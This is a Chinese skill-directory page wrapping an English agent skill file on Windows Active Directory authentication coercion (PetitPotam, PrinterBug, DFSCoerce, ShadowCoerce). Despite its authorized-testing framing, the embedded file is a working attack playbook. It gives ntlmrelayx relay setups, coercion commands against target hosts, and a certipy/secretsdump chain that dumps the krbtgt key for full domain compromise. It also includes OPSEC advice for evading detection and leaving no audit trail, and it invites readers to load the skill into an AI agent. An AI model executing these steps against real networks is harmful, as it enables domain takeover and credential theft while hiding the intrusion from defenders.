ad-coercer
它能做什么
这项技能介绍了几种已知的 Windows 协议弱点,以及安全测试人员如何在实验室或已获授权的网络中检查这些弱点。适合负责审查 Windows 域能否抵御强制登录的人员使用。
适用场景
- ✓当安全测试人员询问,在已获授权的测试中域控制器能否被强制发送登录数据时。
- ✓当智能体需要说明哪些协议弱点已经修补或缓解时。
- ✓当报告需要描述风险并给出建议的防御措施时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/coercer/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“请帮我检查我们已获授权的测试网络中,有哪些 Windows 协议可以让服务器被强制进行身份验证?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体在测试端设置监听器,针对已批准的目标运行所选检查,并记录目标是否尝试进行身份验证。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Authentication Coercion (PetitPotam family)
Force a Windows machine — usually a Domain Controller — to send an NTLM authentication to an attacker-controlled host. Then either relay the auth (via ntlmrelayx) or crack it offline.
The family of coercion vulnerabilities
| Vector | Protocol | RPC | Mitigated by |
|---|---|---|---|
| PetitPotam | MS-EFSR (Encrypting File System Remote) | EfsRpcOpenFileRaw |
KB5005413 (Aug 2021) — partial; bypasses persist via other Efs* methods |
| PrinterBug | MS-RPRN (Print System Remote) | RpcRemoteFindFirstPrinterChangeNotificationEx |
Disable Print Spooler |
| DFSCoerce | MS-DFSNM (Distributed File System) | NetrDfsGetVersion, NetrDfsRemoveStdRoot |
Restrict DFSN to admins |
| ShadowCoerce | MS-FSRVP (File Server Remote VSS) | IsPathSupported |
KB5015527 (Jul 2022) |
| CheeseOunce / WebDavCoerce | WebDAV WebClient | (various) | Disable WebClient service |
All four boil down to: an unauthenticated/low-priv RPC call that triggers the target to authenticate outbound.
Workflow
1. Set up the listener (attacker)
# Option A: ntlmrelayx (relay auth to a useful service)
sudo impacket-ntlmrelayx -t ldap://dc.target.local --escalate-user lowpriv -smb2support
# OR relay to ADCS for cert-based domain admin:
sudo impacket-ntlmrelayx -t http://ca.target.local/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# Option B: just capture the hash
sudo impacket-ntlmrelayx -t ldap://dc.target.local --no-smb-server
# OR with responder
sudo responder -I eth0
2. Coerce auth from a target machine
# Coercer — meta-tool, tries every vector
git clone https://github.com/p0dalirius/Coercer
sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u 'low_priv_user' -p 'pass'
# or anonymous (often works pre-PetitPotam patch):
sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u '' -p ''
# Or individual scripts:
python3 PetitPotam.py <attacker_ip> <target_ip>
python3 dfscoerce.py -u lowpriv -p pass <attacker_ip> <target_ip>
python3 printerbug.py target.local/user:pass@<target_ip> <attacker_ip>
3. Catch the auth → escalate
[ntlmrelayx] SMBD-Thread-X: Received connection from <target_ip>, attacking target ldap://dc.target.local
[ntlmrelayx] Authenticating against ldap://dc.target.local as TARGET\DC$ SUCCEED
[ntlmrelayx] Adding lowpriv to Domain Admins group: SUCCEED
If you relayed to ADCS:
[ntlmrelayx] GOT CERTIFICATE! ID 1234
[ntlmrelayx] Base64 certificate of user DC$: MII...
Then use that cert with certipy auth -pfx dc.pfx -username 'dc$' -domain target.local.
Why coerce DC$? — The privilege escalation chain
The DC's machine account (DC$) has Replicating Directory Changes permission. With its NTLM hash or TGT, you DCSync and own the domain:
# After getting DC$ cert from ADCS relay:
certipy auth -pfx dc.pfx -username 'dc$' -domain target.local
# Returns TGT
impacket-secretsdump -k -no-pass target.local/dc$@dc.target.local
# Dumps krbtgt — full domain compromise
Targets that work
- Any unpatched DC (most environments still have PetitPotam variants)
- Any server with Print Spooler running (PrinterBug)
- Any Windows server with DFS Namespace (often DCs + file servers)
- ADCS Web Enrollment endpoint (relay to it for cert-based DA)
OPSEC
- Coercion attempts log
EFSRPC_*/RPRN_*event sources on the target — usually low-priority but visible in dedicated AD-attack detection (MDI, Defender for Identity). - Inbound NTLM authentication from a DC to a non-domain workstation is a strong signal — relay to a host that legitimately receives auth (a file server, a printer-ish hostname).
- Use a coercion vector that DOESN'T require credentials (PetitPotam unauthenticated path, ShadowCoerce) if possible — leaves no user-level audit trace.
References
- topotam77's PetitPotam — github.com/topotam/PetitPotam
- p0dalirius's Coercer — github.com/p0dalirius/Coercer
- dirkjanm's "Relaying NTLM auth" series
- SpecterOps "Coercing AD auth" cheat sheet
- ADCS abuse: SpecterOps "Certified Pre-Owned" whitepaper
常见问题
什么是强制身份验证?
就是让一台 Windows 机器被诱导,把它的登录数据发送给另一个系统,测试人员可以借此进行分析。
如何防范这类问题?
该技能列出了多种缓解措施,例如安装补丁、关闭 Print Spooler 以及限制某些协议。
这项技能是否涵盖对真实系统的攻击?
它只针对授权测试编写,每一次测试都必须得到网络所有者的批准。
详情
作者的原始描述
Authentication coercion against Windows / AD — PetitPotam (MS-EFSR), PrinterBug (MS-RPRN), DFSCoerce (MS-DFSNM), ShadowCoerce (MS-FSRVP), Coercer.py meta-tool. Force a Windows machine to NTLM-authenticate to attacker, then relay or crack offline.
热度
- GitHub 星标
- 6.5k
- 排名
- #13940
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …